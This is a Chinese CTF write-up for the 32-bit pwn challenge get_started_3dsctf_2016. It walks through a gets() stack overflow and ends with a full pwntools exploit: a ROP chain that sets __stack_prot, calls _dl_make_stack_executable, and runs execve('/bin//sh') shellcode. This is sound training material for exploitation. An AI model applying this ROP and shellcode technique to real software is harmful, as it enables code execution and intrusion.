【CTF】get_started_3dsctf_2016

解题思路:
1 先反编译,第一印象代码比较多、杂,找main函数找了半天才找到。

undefined4 main(void)
{
  char local_38 [56];
  
  printf("Qual a palavrinha magica? ");
  gets(local_38);
  return 0;
}

2 看main函数,第一感觉是典型的栈溢出。然后就是ELF的一些保护。

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

同样,第一感觉,NX enabled,栈不可执行,shellcode方法被PASS掉,那就需要找系统函数ROP。

3 翻了代码,第一,没有找到程序中可以利用的函数;第二,程序没有加载libc(看了下反编译的代码,printf和gets都是重写的),利用libc的方式也不行。

4 走到死胡同了,看来得回头考虑shellcode的方式。因为之前没有接触过类似的题目,所以有点漫无目的,在代码中搜system、execve、exec等关键字,嗨,真被搜出来一个线索:

_dl_make_stack_executable
execute_stack_op

看字面意思都是栈可执行相关的函数,不熟悉,一搜索就搜索出类似题目的writeup,没办法,看一眼吧。链接在文末。主要思想:

int __regparm3 _dl_make_stack_executable(uint *param_1)

{
  int iVar1;
  int in_GS_OFFSET;
  
  if (*param_1 == __libc_stack_end) {
    iVar1 = mprotect((void *)(-_dl_pagesize & *param_1),_dl_pagesize,__stack_prot);
    if (iVar1 == 0) {
      *param_1 = 0;
      _dl_stack_flags = _dl_stack_flags | 1;
    }
    else {
      iVar1 = *(int *)(&DAT_ffffffe8 + in_GS_OFFSET);
    }
    return iVar1;
  }
  return 1;
}

1)进入__libc_stack_end那个判断分支
2)__stack_prot需要赋值为7,打开栈可执行权限。

5 剩下就是常规操作, 找溢出点,工具生成shellcode,找gadget。

from pwn import *
from pwnlib.shellcraft import i386
import time
elf = ELF('./get_started_3dsctf_2016')
sh = process('get_started_3dsctf_2016')
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
nops = b"\x90" * (56)
rop = nops
rop  += p32(0x0806fc30) # pop edx ; ret
rop  += p32(0x080eafec) # __stack_prot
rop  += p32(0x01020304) # 下面两个值无意义,没有找到合适的gadget
rop  += p32(0x05060708)
rop  += p32(0x080b91e6) # pop eax ; ret
rop  += p32(0x07)       # 7 (PROT_EXEC|PROT_READ|PROT_WRITE|PROT_NONE)
rop  += p32(0x080557ab) # mov dword ptr [edx], eax ; ret

rop  += p32(0x080b91e6) # pop eax ; ret
rop += p32(0x080eafc8) # __libc_stack_end (param1通过eax传入)
rop += p32(0x0809aef0)  # _dl_make_stack_executable
rop += p32(0x08093d41) # push esp; ret (需要,把shellcode放入esp执行?)
rop += shellcode
print(rop)
with open("payload.txt", "wb") as f:
     f.write(rop)
sh.sendline(rop)
sh.interactive()

总结:
1)找gadget费了些时间,原因是工具不熟,不能很快速的找到自己想要的gadget。(之前的题目好像很容易找~~~,没有动用工具专门去找过)
2)中间找到某个gadget,但是因为地址有0x0a,也就是\n换行符的ASCII码,导致输入被截断,排查了好一会,最后只能换另外一个gadget。
3) gdb还是不够熟,调试费了不少时间。

附录:

  1. The Tale of the Really SAD binary
  2. [ROP] Ret to Stack
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值